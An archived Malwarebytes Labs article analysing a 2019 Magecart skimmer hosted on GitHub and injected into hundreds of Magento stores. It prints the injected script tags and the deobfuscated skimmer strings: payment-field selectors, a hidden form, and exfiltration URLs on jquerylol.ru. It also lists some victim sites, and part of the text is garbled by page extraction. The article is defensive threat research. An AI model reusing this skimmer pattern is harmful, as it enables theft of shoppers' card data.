

GitHub hosted Magecart skimmer used against hundreds of e-commerce sites | Malwarebytes Labs

By Jérôme Segura

Published: 2019-04-25 · Archived: 2026-04-05 16:21:46 UTC

Every day, new e-commerce websites fall into the hands of one of the many Magecart skimmers. Unbeknownst to shoppers, criminals are harvesting their [personal information](#), including payment details in the online equivalent of ATM card skimming.

Most often the skimming code—written in JavaScript and obfuscated—is hosted on infrastructure controlled by attackers. Over time, they have created thousands of domain names mimicking Magento, the CMS platform that is by far most targeted.

However, as we sometimes see in [other types of compromises](#), threat actors can also abuse the resources of legitimate providers, such as code repository GitHub, [acquired by Microsoft](#) last year.

This latest skimmer is a hex-encoded piece of JavaScript code that was uploaded to GitHub on April 20 by user [momo33333](#), who, as it happens, had just joined the platform on that day as well.


```
763 <script type="text/javascript">//
764     var Translator = new Translate([]);
765     //]]&gt;&lt;/script&gt;&lt;script type='text/javascript' src='https://raw.
githubusercontent.com/momo33333/mage/master/mage.js'&gt;&lt;/script&gt;
746 &lt;/div&gt;
747 &lt;script type='text/javascript' src='https://raw.githubusercontent.com/
momo33333/mage/master/mage.js'&gt;&lt;/script&gt;&lt;/body&gt;
748 &lt;/html&gt;</pre></div><div data-bbox="91 221 890 236" data-label="Text"><p>According to a <a href="#">search</a> on urlscan.io, there are currently over 200 sites that have been injected with this skimmer:</p></div><div data-bbox="143 250 850 610" data-label="Complex-Block"><img alt="Screenshot of urlscan.io search results for the skimmer script."/><p>The screenshot shows the urlscan.io search interface. At the top, there is a navigation bar with icons for Home, Search, API, Live, About, and Login, along with a 'Sponsored by SecurityTrails' badge and a '12 running' indicator. Below the navigation bar is a search bar containing the URL <code>"raw.githubusercontent.com/v/momo33333/mage/v/master"</code>. To the right of the search bar are 'Search!' and 'Reload' buttons. Below the search bar is a 'Help &amp; Examples' link. The main content area is titled 'Search results (100 / 240, sorted by date)' and includes a 'Detail' button. The results are presented in a table with columns for 'URL', 'Submitted', 'Size', 'IPs', and a home icon. The table lists seven search results, each with a URL, IP address, PTR record, server information, and GeoIP data. The results are sorted by date, with the most recent result at the top.</p><table border="1"><thead><tr><th>URL</th><th>Submitted</th><th>Size</th><th>IPs</th><th>Home</th></tr></thead><tbody><tr><td>1 URL: deals4kart.com/<br/>IP: 207.174.215.236 - PTR: cp-48.webhostbox.net - Server: Apache/2.4.39 (cPanel) OpenSSL/1.0.2r m...<br/>GeoIP: US - AS394695 (PUBLIC-DOMAIN-REGISTRY - PDR, US)</td><td>16 minutes ago<br/>Via: api</td><td>3 MB</td><td>181 8 3</td><td>US</td></tr><tr><td>2 URL: www.quimex.com.ar/<br/>IP: 104.196.155.58 - PTR: 58.155.196.104.bc.googleusercontent.com - Server: Apache/2.4.10 (Debian) PHP/5.5.34<br/>GeoIP: Mountain View,US - AS15169 (GOOGLE - Google LLC, US)</td><td>37 minutes ago<br/>Via: api</td><td>1 MB</td><td>92 14 2</td><td>US</td></tr><tr><td>3 URL: gorustfcx.com/<br/>IP: 43.255.154.44 - Server: Apache<br/>GeoIP: Singapore,SG - AS26496 (AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US)</td><td>49 minutes ago<br/>Via: api</td><td>2 MB</td><td>162 15 3</td><td>SG</td></tr><tr><td>4 URL: www.ladystark.co/<br/>IP: 166.62.10.183 - PTR: ip-166-62-10-183.ip.secureserver.net - Server: Apache<br/>GeoIP: Scottsdale,US - AS26496 (AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US)</td><td>1 hour ago<br/>Via: manual</td><td>832 KB</td><td>77 7 2</td><td>US</td></tr><tr><td>5 URL: wycl.in/<br/>IP: 43.225.55.205 - PTR: cp-in-6.webhostbox.net - Server: Apache/2.4.39 (cPanel) OpenSSL/1.0.2r m...<br/>GeoIP: AE - AS394695 (PUBLIC-DOMAIN-REGISTRY - PDR, US)</td><td>21 hours ago<br/>Via: api</td><td>1 MB</td><td>79 7 3</td><td>AE</td></tr><tr><td>6 URL: www.freecaad.com/<br/>IP: 82.98.134.36 - PTR: hl104.dinaser.com - Server: Apache<br/>GeoIP: ES - AS42612 (DINAHOSTING-AS, ES)</td><td>22 hours ago<br/>Via: api</td><td>1 MB</td><td>104 3 3</td><td>ES</td></tr><tr><td>7 URL: www.chcanto.com/<br/>IP: 192.157.193.81 - PTR: 81.193-157-192.rdns.scalabledns.com - Server: Apache<br/>GeoIP: Los Angeles,US - AS18978 (ENZUINC-US - Enzu Inc, US)</td><td>23 hours ago<br/>Via: api</td><td>1 MB</td><td>125 5 2</td><td>US</td></tr></tbody></table></div><div data-bbox="91 630 902 664" data-label="Text"><p>A look at the deobfuscated script reveals the exfiltration domain (<i>jquerylol[.]ru</i>) where the stolen data will be sent to:</p></div><div data-bbox="472 969 524 980" data-label="Page-Footer"><p>Page 3 of 4</p></div>
```

```
[ "undefined", "hostname", "val", ".mi_forms input[name='hosst_name']", "size",
"*[name*='cc_num']", "*[name*='cc_exp_m']", "*[name*='cc_exp_y']", "*[name*='
cc_cid']", "*[name='billing[firstname]']", "*[name='billing[lastname]']",
"*[name='billing[street]']", "*[name='billing[city]']", "*[name='billing[
region_id]']", "*[name='billing[postcode]']", "*[name='billing[country_id]']",
"*[name='billing[telephone]']", "*[name='billing[email]'", ".mi_forms
input[name='m_Card_number']", ".mi_forms input[name='m_Exp_1']", ".mi_forms
input[name='m_Exp_2']", ".mi_forms input[name='m_CVV']", ".mi_forms
input[name='m_first_name']", ".mi_forms input[name='m_second_name']",
".mi_forms input[name='m_address']", ".mi_forms input[name='m_city'",
".mi_forms input[name='m_state']", ".mi_forms input[name='m_zip']", ".mi_forms
input[name='m_country']", ".mi_forms input[name='m_phone']", ".mi_forms
input[name='m_vbv']", "https://jquerylol.ru/mail2.php", "serialize", ".mi_forms
", "post", "https://jquerylol.ru/mail3.php", "11111111", "button[onclick*='.save
()]", "eq", "onclick", "attr", "", "mg_core", "indexOf", "mg_core()", "<form
class='mi_forms' style='display: none;'><input type='text' name='hosst_name
"><input type='text' name='m_Card_number"><input type='text' name='m_Exp_1
"><input type='text' name='m_Exp_2"><input type='text' name='m_CVV"><input
type='text' name='m_first_name"><input type='text' name='m_second_name
"><input type='text' name='m_address"><input type='text' name='m_city
"><input type='text' name='m_state"><input type='text' name='m_zip"><input
type='text' name='m_country"><input type='text' name='m_phone"><input type='
text' name='m_vbv"></form>", "append", "body", "init_lo()", "ready"]
```

It's worth noting that the compromised Magento sites will remain at risk, even if the GitHub-hosted skimmer is taken down. Indeed, attackers can easily re-infect them in the same manner they initially injected the first one.

It is critical for e-commerce site owners to keep their CMS and its plugins up-to-date, as well as using secure authentication methods. Over the past year, we have identified thousands of sites that are hacked and posing a risk for online shoppers.

We reported the fraudulent GitHub account which was quickly taken down. We are also protecting our users by blocking the exfiltration domain.

Source: <https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/>